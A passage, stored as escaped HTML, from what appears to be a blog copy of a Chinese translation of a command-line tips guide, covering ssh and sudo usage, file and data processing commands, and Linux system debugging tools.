\u003ccode\u003eStrictHostKeyChecking=no\u003c/code\u003e,\u003ccode\u003eForwardAgent=yes\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e考虑使用 \u003ca href=\"https://mosh.mit.edu/\"\u003e\u003ccode\u003emosh\u003c/code\u003e\u003c/a\u003e 作为 ssh 的替代品,它使用 UDP 协议。它可以避免连接被中断并且对带宽需求更小,但它需要在服务端做相应的配置。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e获取八进制形式的文件访问权限(修改系统设置时通常需要,但 \u003ccode\u003els\u003c/code\u003e 的功能不那么好用并且通常会搞砸),可以使用类似如下的代码:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estat\u003c/span\u003e -c \u003cspan class=\"string\"\u003e\u0026#39;%A %a %n\u0026#39;\u003c/span\u003e /etc/timezone\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ca href=\"https://github.com/mooz/percol\"\u003e\u003ccode\u003epercol\u003c/code\u003e\u003c/a\u003e 或者 \u003ca href=\"https://github.com/junegunn/fzf\"\u003e\u003ccode\u003efzf\u003c/code\u003e\u003c/a\u003e 可以交互式地从另一个命令输出中选取值。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003efpp\u003c/code\u003e(\u003ca href=\"https://github.com/facebook/PathPicker\"\u003ePathPicker\u003c/a\u003e)可以与基于另一个命令(例如 \u003ccode\u003egit\u003c/code\u003e)输出的文件交互。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e将 web 服务器上当前目录下所有的文件(以及子目录)暴露给你所处网络的所有用户,使用:\u003cbr/\u003e\u003ccode\u003epython -m SimpleHTTPServer 7777\u003c/code\u003e (使用端口 7777 和 Python 2)或\u003ccode\u003epython -m http.server 7777\u003c/code\u003e (使用端口 7777 和 Python 3)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e以其他用户的身份执行命令,使用 \u003ccode\u003esudo\u003c/code\u003e。默认以 root 用户的身份执行;使用 \u003ccode\u003e-u\u003c/code\u003e 来指定其他用户。使用 \u003ccode\u003e-i\u003c/code\u003e 来以该用户登录(需要输入_你自己的_密码)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e将 shell 切换为其他用户,使用 \u003ccode\u003esu username\u003c/code\u003e 或者 \u003ccode\u003esu - username\u003c/code\u003e。加入 \u003ccode\u003e-\u003c/code\u003e 会使得切换后的环境与使用该用户登录后的环境相同。省略用户名则默认为 root。切换到哪个用户,就需要输入_哪个用户的_密码。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解命令行的 \u003ca href=\"https://wiki.debian.org/CommonErrorMessages/ArgumentListTooLong\"\u003e128K 限制\u003c/a\u003e。使用通配符匹配大量文件名时,常会遇到“Argument list too long”的错误信息。(这种情况下换用 \u003ccode\u003efind\u003c/code\u003e 或 \u003ccode\u003exargs\u003c/code\u003e 通常可以解决。)\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e当你需要一个基本的计算器时,可以使用 \u003ccode\u003epython\u003c/code\u003e 解释器(当然你要用 python 的时候也是这样)。例如:\u003c/p\u003e\u003cfigure class=\"highlight plaintext\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u0026gt;\u0026gt;\u0026gt; 2+3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"文件及数据处理\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E6%96%87%E4%BB%B6%E5%8F%8A%E6%95%B0%E6%8D%AE%E5%A4%84%E7%90%86\" class=\"headerlink\" title=\"文件及数据处理\"\u003e\u003c/a\u003e文件及数据处理\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e在当前目录下通过文件名查找一个文件,使用类似于这样的命令:\u003ccode\u003efind . -iname \u0026#39;*something*\u0026#39;\u003c/code\u003e。在所有路径下通过文件名查找文件,使用 \u003ccode\u003elocate something\u003c/code\u003e (但注意到 \u003ccode\u003eupdatedb\u003c/code\u003e 可能没有对最近新建的文件建立索引,所以你可能无法定位到这些未被索引的文件)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ca href=\"https://github.com/ggreer/the_silver_searcher\"\u003e\u003ccode\u003eag\u003c/code\u003e\u003c/a\u003e 在源代码或数据文件里检索(\u003ccode\u003egrep -r\u003c/code\u003e 同样可以做到,但相比之下 \u003ccode\u003eag\u003c/code\u003e 更加先进)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e将 HTML 转为文本:\u003ccode\u003elynx -dump -stdin\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eMarkdown,HTML,以及所有文档格式之间的转换,试试 \u003ca href=\"http://pandoc.org/\"\u003e\u003ccode\u003epandoc\u003c/code\u003e\u003c/a\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e当你要处理棘手的 XML 时候,\u003ccode\u003exmlstarlet\u003c/code\u003e 算是上古时代流传下来的神器。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ca href=\"http://stedolan.github.io/jq/\"\u003e\u003ccode\u003ejq\u003c/code\u003e\u003c/a\u003e 处理 JSON。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ca href=\"https://github.com/0k/shyaml\"\u003e\u003ccode\u003eshyaml\u003c/code\u003e\u003c/a\u003e 处理 YAML。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e要处理 Excel 或 CSV 文件的话,\u003ca href=\"https://github.com/onyxfish/csvkit\"\u003ecsvkit\u003c/a\u003e 提供了 \u003ccode\u003ein2csv\u003c/code\u003e,\u003ccode\u003ecsvcut\u003c/code\u003e,\u003ccode\u003ecsvjoin\u003c/code\u003e,\u003ccode\u003ecsvgrep\u003c/code\u003e 等方便易用的工具。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e当你要处理 Amazon S3 相关的工作的时候,\u003ca href=\"https://github.com/s3tools/s3cmd\"\u003e\u003ccode\u003es3cmd\u003c/code\u003e\u003c/a\u003e 是一个很方便的工具而 \u003ca href=\"https://github.com/bloomreach/s4cmd\"\u003e\u003ccode\u003es4cmd\u003c/code\u003e\u003c/a\u003e 的效率更高。Amazon 官方提供的 \u003ca href=\"https://github.com/aws/aws-cli\"\u003e\u003ccode\u003eaws\u003c/code\u003e\u003c/a\u003e 以及 \u003ca href=\"https://github.com/donnemartin/saws\"\u003e\u003ccode\u003esaws\u003c/code\u003e\u003c/a\u003e 是其他 AWS 相关工作的基础,值得学习。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解如何使用 \u003ccode\u003esort\u003c/code\u003e 和 \u003ccode\u003euniq\u003c/code\u003e,包括 uniq 的 \u003ccode\u003e-u\u003c/code\u003e 参数和 \u003ccode\u003e-d\u003c/code\u003e 参数,具体内容在后文单行脚本节中。另外可以了解一下 \u003ccode\u003ecomm\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解如何使用 \u003ccode\u003ecut\u003c/code\u003e,\u003ccode\u003epaste\u003c/code\u003e 和 \u003ccode\u003ejoin\u003c/code\u003e 来更改文件。很多人都会使用 \u003ccode\u003ecut\u003c/code\u003e,但遗忘了 \u003ccode\u003ejoin\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解如何运用 \u003ccode\u003ewc\u003c/code\u003e 去计算新行数(\u003ccode\u003e-l\u003c/code\u003e),字符数(\u003ccode\u003e-m\u003c/code\u003e),单词数(\u003ccode\u003e-w\u003c/code\u003e)以及字节数(\u003ccode\u003e-c\u003c/code\u003e)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解如何使用 \u003ccode\u003etee\u003c/code\u003e 将标准输入复制到文件甚至标准输出,例如 \u003ccode\u003els -al | tee file.txt\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e要进行一些复杂的计算,比如分组、逆序和一些其他的统计分析,可以考虑使用 \u003ca href=\"https://www.gnu.org/software/datamash/\"\u003e\u003ccode\u003edatamash\u003c/code\u003e\u003c/a\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e注意到语言设置(中文或英文等)对许多命令行工具有一些微妙的影响,比如排序的顺序和性能。大多数 Linux 的安装过程会将 \u003ccode\u003eLANG\u003c/code\u003e 或其他有关的变量设置为符合本地的设置。要意识到当你改变语言设置时,排序的结果可能会改变。明白国际化可能会使 sort 或其他命令运行效率下降\u003cem\u003e许多倍\u003c/em\u003e。某些情况下(例如集合运算)你可以放心的使用 \u003ccode\u003eexport LC_ALL=C\u003c/code\u003e 来忽略掉国际化并按照字节来判断顺序。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e你可以单独指定某一条命令的环境,只需在调用时把环境变量设定放在命令的前面,例如 \u003ccode\u003eTZ=Pacific/Fiji date\u003c/code\u003e 可以获取斐济的时间。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解如何使用 \u003ccode\u003eawk\u003c/code\u003e 和 \u003ccode\u003esed\u003c/code\u003e 来进行简单的数据处理。 参阅 \u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#one-liners\"\u003eOne-liners\u003c/a\u003e 获取示例。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e替换一个或多个文件中出现的字符串:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003eperl -pi.bak -e \u003cspan class=\"string\"\u003e\u0026#39;s/old-string/new-string/g\u0026#39;\u003c/span\u003e my-files-*.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ca href=\"https://github.com/jlevy/repren\"\u003e\u003ccode\u003erepren\u003c/code\u003e\u003c/a\u003e 来批量重命名文件,或是在多个文件中搜索替换内容。(有些时候 \u003ccode\u003erename\u003c/code\u003e 命令也可以批量重命名,但要注意,它在不同 Linux 发行版中的功能并不完全一样。)\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 将文件、目录和内容全部重命名 foo -\u0026gt; bar:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003erepren --full --preserve-case --from foo --to bar .\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 还原所有备份文件 whatever.bak -\u0026gt; whatever:\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003erepren --renames --from \u003cspan class=\"string\"\u003e\u0026#39;(.*)\\.bak\u0026#39;\u003c/span\u003e --to \u003cspan class=\"string\"\u003e\u0026#39;\\1\u0026#39;\u003c/span\u003e *.bak\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e# 用 rename 实现上述功能(若可用):\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003erename \u003cspan class=\"string\"\u003e\u0026#39;s/\\.bak$//\u0026#39;\u003c/span\u003e *.bak\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e根据 man 页面的描述,\u003ccode\u003ersync\u003c/code\u003e 是一个快速且非常灵活的文件复制工具。它闻名于设备之间的文件同步,但其实它在本地情况下也同样有用。在安全设置允许下,用 \u003ccode\u003ersync\u003c/code\u003e 代替 \u003ccode\u003escp\u003c/code\u003e 可以实现文件续传,而不用重新从头开始。它同时也是删除大量文件的\u003ca href=\"https://web.archive.org/web/20130929001850/http://linuxnote.net/jianingy/en/linux/a-fast-way-to-remove-huge-number-of-files.html\"\u003e最快方法\u003c/a\u003e之一:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003emkdir\u003c/span\u003e empty \u0026amp;\u0026amp; rsync -r --delete empty/ some-dir \u0026amp;\u0026amp; \u003cspan class=\"built_in\"\u003ermdir\u003c/span\u003e some-dir\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e若要在复制文件时获取当前进度,可使用 \u003ccode\u003epv\u003c/code\u003e,\u003ca href=\"https://github.com/dmerejkowsky/pycp\"\u003e\u003ccode\u003epycp\u003c/code\u003e\u003c/a\u003e,\u003ca href=\"https://github.com/Xfennec/progress\"\u003e\u003ccode\u003eprogress\u003c/code\u003e\u003c/a\u003e,\u003ccode\u003ersync --progress\u003c/code\u003e。若所执行的复制为block块拷贝,可以使用 \u003ccode\u003edd status=progress\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003eshuf\u003c/code\u003e 可以以行为单位来打乱文件的内容或从一个文件中随机选取多行。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解 \u003ccode\u003esort\u003c/code\u003e 的参数。显示数字时,使用 \u003ccode\u003e-n\u003c/code\u003e 或者 \u003ccode\u003e-h\u003c/code\u003e 来显示更易读的数(例如 \u003ccode\u003edu -h\u003c/code\u003e 的输出)。明白排序时关键字的工作原理(\u003ccode\u003e-t\u003c/code\u003e 和 \u003ccode\u003e-k\u003c/code\u003e)。例如,注意到你需要 \u003ccode\u003e-k1,1\u003c/code\u003e 来仅按第一个域来排序,而 \u003ccode\u003e-k1\u003c/code\u003e 意味着按整行排序。稳定排序(\u003ccode\u003esort -s\u003c/code\u003e)在某些情况下很有用。例如,以第二个域为主关键字,第一个域为次关键字进行排序,你可以使用 \u003ccode\u003esort -k1,1 | sort -s -k2,2\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e如果你想在 Bash 命令行中写 tab 制表符,按下 \u003cstrong\u003ectrl-v\u003c/strong\u003e \u003cstrong\u003e[Tab]\u003c/strong\u003e 或键入 \u003ccode\u003e$\u0026#39;\\t\u0026#39;\u003c/code\u003e (后者可能更好,因为你可以复制粘贴它)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e标准的源代码对比及合并工具是 \u003ccode\u003ediff\u003c/code\u003e 和 \u003ccode\u003epatch\u003c/code\u003e。使用 \u003ccode\u003ediffstat\u003c/code\u003e 查看变更总览数据。注意到 \u003ccode\u003ediff -r\u003c/code\u003e 对整个文件夹有效。使用 \u003ccode\u003ediff -r tree1 tree2 | diffstat\u003c/code\u003e 查看变更的统计数据。\u003ccode\u003evimdiff\u003c/code\u003e 用于比对并编辑文件。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e对于二进制文件,使用 \u003ccode\u003ehd\u003c/code\u003e,\u003ccode\u003ehexdump\u003c/code\u003e 或者 \u003ccode\u003exxd\u003c/code\u003e 使其以十六进制显示,使用 \u003ccode\u003ebvi\u003c/code\u003e,\u003ccode\u003ehexedit\u003c/code\u003e 或者 \u003ccode\u003ebiew\u003c/code\u003e 来进行二进制编辑。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e同样对于二进制文件,\u003ccode\u003estrings\u003c/code\u003e(包括 \u003ccode\u003egrep\u003c/code\u003e 等工具)可以帮助在二进制文件中查找特定比特。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e制作二进制差分文件(Delta 压缩),使用 \u003ccode\u003exdelta3\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003eiconv\u003c/code\u003e 更改文本编码。需要更高级的功能,可以使用 \u003ccode\u003euconv\u003c/code\u003e,它支持一些高级的 Unicode 功能。例如,这条命令移除了所有重音符号:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003euconv -f utf-8 -t utf-8 -x \u003cspan class=\"string\"\u003e\u0026#39;::Any-Lower; ::Any-NFD; [:Nonspacing Mark:] \u0026gt;; ::Any-NFC; \u0026#39;\u003c/span\u003e \u0026lt; input.txt \u0026gt; output.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e拆分文件可以使用 \u003ccode\u003esplit\u003c/code\u003e(按大小拆分)和 \u003ccode\u003ecsplit\u003c/code\u003e(按模式拆分)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e操作日期和时间表达式,可以用 \u003ca href=\"http://www.fresse.org/dateutils/\"\u003e\u003ccode\u003edateutils\u003c/code\u003e\u003c/a\u003e 中的 \u003ccode\u003edateadd\u003c/code\u003e、\u003ccode\u003edatediff\u003c/code\u003e、\u003ccode\u003estrptime\u003c/code\u003e 等工具。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003ezless\u003c/code\u003e、\u003ccode\u003ezmore\u003c/code\u003e、\u003ccode\u003ezcat\u003c/code\u003e 和 \u003ccode\u003ezgrep\u003c/code\u003e 对压缩过的文件进行操作。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e文件属性可以通过 \u003ccode\u003echattr\u003c/code\u003e 进行设置,它比文件权限更加底层。例如,为了保护文件不被意外删除,可以使用不可修改标记:\u003ccode\u003esudo chattr +i /critical/directory/or/file\u003c/code\u003e\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003egetfacl\u003c/code\u003e 和 \u003ccode\u003esetfacl\u003c/code\u003e 以保存和恢复文件权限。例如:\u003c/p\u003e\u003cfigure class=\"highlight sh\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003egetfacl -R /some/path \u0026gt; permissions.txt\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esetfacl --restore=permissions.txt\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e为了高效地创建空文件,请使用 \u003ccode\u003etruncate\u003c/code\u003e(创建\u003ca href=\"https://zh.wikipedia.org/wiki/%E7%A8%80%E7%96%8F%E6%96%87%E4%BB%B6\"\u003e稀疏文件\u003c/a\u003e),\u003ccode\u003efallocate\u003c/code\u003e(用于 ext4,xfs,btrf 和 ocfs2 文件系统),\u003ccode\u003exfs_mkfile\u003c/code\u003e(适用于几乎所有的文件系统,包含在 xfsprogs 包中),\u003ccode\u003emkfile\u003c/code\u003e(用于类 Unix 操作系统,比如 Solaris 和 Mac OS)。\u003c/p\u003e\u003c/li\u003e\u003c/ul\u003e\u003ch2 id=\"系统调试\"\u003e\u003ca href=\"https://xeonds.github.io/2015/06/21/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E5%91%BD%E4%BB%A4%E8%A1%8C%E7%9A%84%E8%89%BA%E6%9C%AF/#%E7%B3%BB%E7%BB%9F%E8%B0%83%E8%AF%95\" class=\"headerlink\" title=\"系统调试\"\u003e\u003c/a\u003e系统调试\u003c/h2\u003e\u003cul\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003ecurl\u003c/code\u003e 和 \u003ccode\u003ecurl -I\u003c/code\u003e 可以被轻松地应用于 web 调试中,它们的好兄弟 \u003ccode\u003ewget\u003c/code\u003e 也是如此,或者也可以试试更潮的 \u003ca href=\"https://github.com/jkbrzt/httpie\"\u003e\u003ccode\u003ehttpie\u003c/code\u003e\u003c/a\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e获取 CPU 和硬盘的使用状态,通常使用使用 \u003ccode\u003etop\u003c/code\u003e(\u003ccode\u003ehtop\u003c/code\u003e 更佳),\u003ccode\u003eiostat\u003c/code\u003e 和 \u003ccode\u003eiotop\u003c/code\u003e。而 \u003ccode\u003eiostat -mxz 15\u003c/code\u003e 可以让你获悉 CPU 和每个硬盘分区的基本信息和性能表现。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ccode\u003enetstat\u003c/code\u003e 和 \u003ccode\u003ess\u003c/code\u003e 查看网络连接的细节。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003edstat\u003c/code\u003e 在你想要对系统的现状有一个粗略的认识时是非常有用的。然而若要对系统有一个深度的总体认识,使用 \u003ca href=\"https://github.com/nicolargo/glances\"\u003e\u003ccode\u003eglances\u003c/code\u003e\u003c/a\u003e,它会在一个终端窗口中向你提供一些系统级的数据。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e若要了解内存状态,运行并理解 \u003ccode\u003efree\u003c/code\u003e 和 \u003ccode\u003evmstat\u003c/code\u003e 的输出。值得留意的是“cached”的值,它指的是 Linux 内核用来作为文件缓存的内存大小,而与空闲内存无关。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003eJava 系统调试则是一件截然不同的事,一个可以用于 Oracle 的 JVM 或其他 JVM 上的调试的技巧是你可以运行 \u003ccode\u003ekill -3 \u0026lt;pid\u0026gt;\u003c/code\u003e 同时一个完整的栈轨迹和堆概述(包括 GC 的细节)会被保存到标准错误或是日志文件。JDK 中的 \u003ccode\u003ejps\u003c/code\u003e,\u003ccode\u003ejstat\u003c/code\u003e,\u003ccode\u003ejstack\u003c/code\u003e,\u003ccode\u003ejmap\u003c/code\u003e 很有用。\u003ca href=\"https://github.com/aragozin/jvm-tools\"\u003eSJK tools\u003c/a\u003e 更高级。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e使用 \u003ca href=\"http://www.bitwizard.nl/mtr/\"\u003e\u003ccode\u003emtr\u003c/code\u003e\u003c/a\u003e 去跟踪路由,用于确定网络问题。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e用 \u003ca href=\"https://dev.yorhel.nl/ncdu\"\u003e\u003ccode\u003encdu\u003c/code\u003e\u003c/a\u003e 来查看磁盘使用情况,它比寻常的命令,如 \u003ccode\u003edu -sh *\u003c/code\u003e,更节省时间。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e查找正在使用带宽的套接字连接或进程,使用 \u003ca href=\"http://www.ex-parrot.com/~pdw/iftop/\"\u003e\u003ccode\u003eiftop\u003c/code\u003e\u003c/a\u003e 或 \u003ca href=\"https://github.com/raboof/nethogs\"\u003e\u003ccode\u003enethogs\u003c/code\u003e\u003c/a\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ccode\u003eab\u003c/code\u003e 工具(Apache 中自带)可以简单粗暴地检查 web 服务器的性能。对于更复杂的负载测试,使用 \u003ccode\u003esiege\u003c/code\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e\u003ca href=\"https://wireshark.org/\"\u003e\u003ccode\u003ewireshark\u003c/code\u003e\u003c/a\u003e,\u003ca href=\"https://www.wireshark.org/docs/wsug_html_chunked/AppToolstshark.html\"\u003e\u003ccode\u003etshark\u003c/code\u003e\u003c/a\u003e 和 \u003ca href=\"http://ngrep.sourceforge.net/\"\u003e\u003ccode\u003engrep\u003c/code\u003e\u003c/a\u003e 可用于复杂的网络调试。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解 \u003ccode\u003estrace\u003c/code\u003e 和 \u003ccode\u003eltrace\u003c/code\u003e。这俩工具在你的程序运行失败、挂起甚至崩溃,而你却不知道为什么或你想对性能有个总体的认识的时候是非常有用的。注意 profile 参数(\u003ccode\u003e-c\u003c/code\u003e)和附加到一个运行的进程参数 (\u003ccode\u003e-p\u003c/code\u003e)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解使用 \u003ccode\u003eldd\u003c/code\u003e 来检查共享库。但是\u003ca href=\"http://www.catonmat.net/blog/ldd-arbitrary-code-execution/\"\u003e永远不要在不信任的文件上运行\u003c/a\u003e。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e了解如何运用 \u003ccode\u003egdb\u003c/code\u003e 连接到一个运行着的进程并获取它的堆栈轨迹。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e学会使用 \u003ccode\u003e/proc\u003c/code\u003e。它在调试正在出现的问题的时候有时会效果惊人。比如:\u003ccode\u003e/proc/cpuinfo\u003c/code\u003e,\u003ccode\u003e/proc/meminfo\u003c/code\u003e,\u003ccode\u003e/proc/cmdline\u003c/code\u003e,\u003ccode\u003e/proc/xxx/cwd\u003c/code\u003e,\u003ccode\u003e/proc/xxx/exe\u003c/code\u003e,\u003ccode\u003e/proc/xxx/fd/\u003c/code\u003e,\u003ccode\u003e/proc/xxx/smaps\u003c/code\u003e(这里的 \u003ccode\u003exxx\u003c/code\u003e 表示进程的 id 或 pid)。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e当调试一些之前出现的问题的时候,\u003ca href=\"http://sebastien.godard.pagesperso-orange.fr/\"\u003e\u003ccode\u003esar\u003c/code\u003e\u003c/a\u003e 非常有用。它展示了 cpu、内存以及网络等的历史数据。\u003c/p\u003e\u003c/li\u003e\u003cli\u003e\u003cp\u003e关于更深层次的系统分析以及性能分析,看看 \u003ccode\u003estap\u003c/code\u003e(\u003ca href=\"https://sourceware.org/systemtap/wiki\"\u003eSystemTap\u003c/a\u003e),\u003ca 